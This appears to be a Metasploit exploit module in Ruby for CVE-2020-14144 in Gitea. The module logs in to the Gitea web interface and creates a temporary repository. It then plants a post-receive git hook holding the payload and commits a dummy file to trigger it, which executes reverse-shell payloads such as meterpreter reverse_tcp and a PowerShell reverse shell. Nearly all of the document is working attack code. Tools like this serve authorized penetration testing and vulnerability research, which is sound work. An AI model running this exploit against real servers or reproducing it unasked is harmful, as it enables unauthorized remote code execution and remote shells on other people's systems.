363 lines
11 KiB
Ruby
363 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Gitea Git Hooks Remote Code Execution',
|
|
'Description' => %q{
|
|
This module leverages an insecure setting to get remote code
|
|
execution on the target OS in the context of the user running Gitea.
|
|
This is possible when the current user is allowed to create `git
|
|
hooks`, which is the default for administrative users. For
|
|
non-administrative users, the permission needs to be specifically
|
|
granted by an administrator.
|
|
|
|
To achieve code execution, the module authenticates to the Gitea web
|
|
interface, creates a temporary repository, sets a `post-receive` git
|
|
hook with the payload and creates a dummy file in the repository.
|
|
This last action will trigger the git hook and execute the payload.
|
|
Everything is done through the web interface.
|
|
|
|
It has been mitigated in version 1.13.0 by setting the Gitea
|
|
`DISABLE_GIT_HOOKS` configuration setting to `true` by default. This
|
|
disables this feature and prevents all users (including admin) from
|
|
creating custom git hooks.
|
|
|
|
This module has been tested successfully against docker versions 1.12.5,
|
|
1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on
|
|
version 1.12.6 on Windows.
|
|
},
|
|
'Author' => [
|
|
'Podalirius', # Original PoC
|
|
'Christophe De La Fuente' # MSF Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-14144'],
|
|
['EDB', '49571'],
|
|
['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],
|
|
['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
|
|
],
|
|
'DisclosureDate' => '2020-10-07',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => %w[unix linux win],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => {
|
|
'CMDSTAGER::FLAVOR' => :bourne,
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :win_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows Dropper',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :win_dropper,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
],
|
|
'DefaultOptions' => { 'WfsDelay' => 30 },
|
|
'DefaultTarget' => 1,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(3000),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with']),
|
|
OptString.new('PASSWORD', [true, 'Password to use']),
|
|
])
|
|
|
|
@need_cleanup = false
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'keep_cookies' => true
|
|
)
|
|
unless res
|
|
return CheckCode::Unknown('Target did not respond to check.')
|
|
end
|
|
|
|
# Powered by Gitea Version: 1.12.5
|
|
unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
|
|
return CheckCode::Unknown('Target does not appear to be running Gitea.')
|
|
end
|
|
|
|
if match[:version].match(/[a-zA-Z]/)
|
|
return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
|
|
end
|
|
|
|
if Rex::Version.new(match[:version]) >= Rex::Version.new('1.13.0')
|
|
print_warning(
|
|
'This version of Gitea has the "DISABLE_GIT_HOOKS" option set to true '\
|
|
'by default. This prevents all users (including admin) from creating '\
|
|
'custom git hooks. This exploit might not work if this option is still '\
|
|
'set to the default value.'
|
|
)
|
|
end
|
|
CheckCode::Appears("Gitea version is #{match[:version]}")
|
|
end
|
|
|
|
def exploit
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
|
|
print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
|
|
gitea_login
|
|
print_good('Logged in')
|
|
|
|
@repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
|
|
print_status("Create repository \"#{@repo_name}\"")
|
|
gitea_create_repo
|
|
@need_cleanup = true
|
|
print_good('Repository created')
|
|
|
|
case target['Type']
|
|
when :unix_cmd, :win_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper, :win_dropper
|
|
execute_cmdstager(background: true, delay: 1)
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
vprint_status("Executing command: #{cmd}")
|
|
|
|
print_status('Setup post-receive hook with command')
|
|
gitea_post_receive_hook(cmd)
|
|
print_good('Git hook setup')
|
|
|
|
print_status('Create a dummy file on the repo to trigger the payload')
|
|
last_chunk = cmd_list ? cmd == cmd_list.last : true
|
|
gitea_create_file(last_chunk: last_chunk)
|
|
print_good("File created#{', shell incoming...' if last_chunk}")
|
|
end
|
|
|
|
def http_post_request(uri, opts = {})
|
|
csrf = opts.delete(:csrf) || get_csrf(uri)
|
|
timeout = opts.delete(:timeout) || 20
|
|
|
|
post_data = { _csrf: csrf }.merge(opts)
|
|
request_hash = {
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI'], uri),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'vars_post' => post_data
|
|
}
|
|
|
|
send_request_cgi(request_hash, timeout)
|
|
end
|
|
|
|
def get_csrf(uri)
|
|
vprint_status('Get "csrf" value')
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri),
|
|
'keep_cookies' => true
|
|
)
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
|
|
end
|
|
|
|
csrf = extract_value(res, '_csrf')
|
|
vprint_good("csrf=#{csrf}")
|
|
csrf
|
|
end
|
|
|
|
def extract_value(res, attr)
|
|
# <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
|
|
# <input type="hidden" id="uid" name="uid" value="2" required>
|
|
# <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
|
|
unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
|
|
return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
|
|
end
|
|
|
|
return match[:value]
|
|
end
|
|
|
|
def gitea_login
|
|
res = http_post_request(
|
|
'/user/login',
|
|
user_name: datastore['USERNAME'],
|
|
password: datastore['PASSWORD']
|
|
)
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Unable to reach the login page')
|
|
end
|
|
|
|
unless res.code == 302
|
|
fail_with(Failure::NoAccess, 'Login failed')
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def gitea_create_repo
|
|
uri = normalize_uri(datastore['TARGETURI'], '/repo/create')
|
|
|
|
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
|
|
end
|
|
|
|
vprint_status('Get "csrf" and "uid" values')
|
|
csrf = extract_value(res, '_csrf')
|
|
vprint_good("csrf=#{csrf}")
|
|
uid = extract_value(res, 'uid')
|
|
vprint_good("uid=#{uid}")
|
|
|
|
res = http_post_request(
|
|
uri,
|
|
uid: uid,
|
|
repo_name: @repo_name,
|
|
private: 'on',
|
|
description: '',
|
|
repo_template: '',
|
|
issue_labels: '',
|
|
gitignores: '',
|
|
license: '',
|
|
readme: 'Default',
|
|
auto_init: 'on',
|
|
default_branch: 'master',
|
|
csrf: csrf
|
|
)
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
|
|
end
|
|
|
|
unless res.code == 302
|
|
fail_with(Failure::UnexpectedReply, 'Create repository failure')
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def gitea_post_receive_hook(cmd)
|
|
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
|
|
shell = <<~SHELL
|
|
#!/bin/bash
|
|
#{cmd}&
|
|
exit 0
|
|
SHELL
|
|
|
|
res = http_post_request(uri, content: shell)
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
|
|
end
|
|
|
|
unless res.code == 302
|
|
msg = 'Post-receive hook creation failure'
|
|
if res.code == 404
|
|
msg << ' (user is probably not allowed to create Git Hooks)'
|
|
end
|
|
fail_with(Failure::UnexpectedReply, msg)
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def gitea_create_file(last_chunk: false)
|
|
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
|
|
filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"
|
|
|
|
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
|
|
end
|
|
|
|
vprint_status('Get "csrf" and "last_commit" values')
|
|
csrf = extract_value(res, '_csrf')
|
|
vprint_good("csrf=#{csrf}")
|
|
last_commit = extract_value(res, 'last_commit')
|
|
vprint_good("last_commit=#{last_commit}")
|
|
|
|
http_post_request(
|
|
uri,
|
|
last_commit: last_commit,
|
|
tree_path: filename,
|
|
content: Rex::Text.rand_text_alpha(1..20),
|
|
commit_summary: '',
|
|
commit_message: '',
|
|
commit_choice: 'direct',
|
|
csrf: csrf,
|
|
timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
|
|
)
|
|
vprint_status("#{filename} created")
|
|
|
|
nil
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
return unless @need_cleanup
|
|
|
|
print_status('Cleaning up')
|
|
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
|
|
res = http_post_request(uri, action: 'delete', repo_name: @repo_name)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
|
|
end
|
|
|
|
unless res.code == 302
|
|
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
|
|
end
|
|
|
|
print_status("Repository #{@repo_name} deleted.")
|
|
|
|
nil
|
|
end
|
|
end
|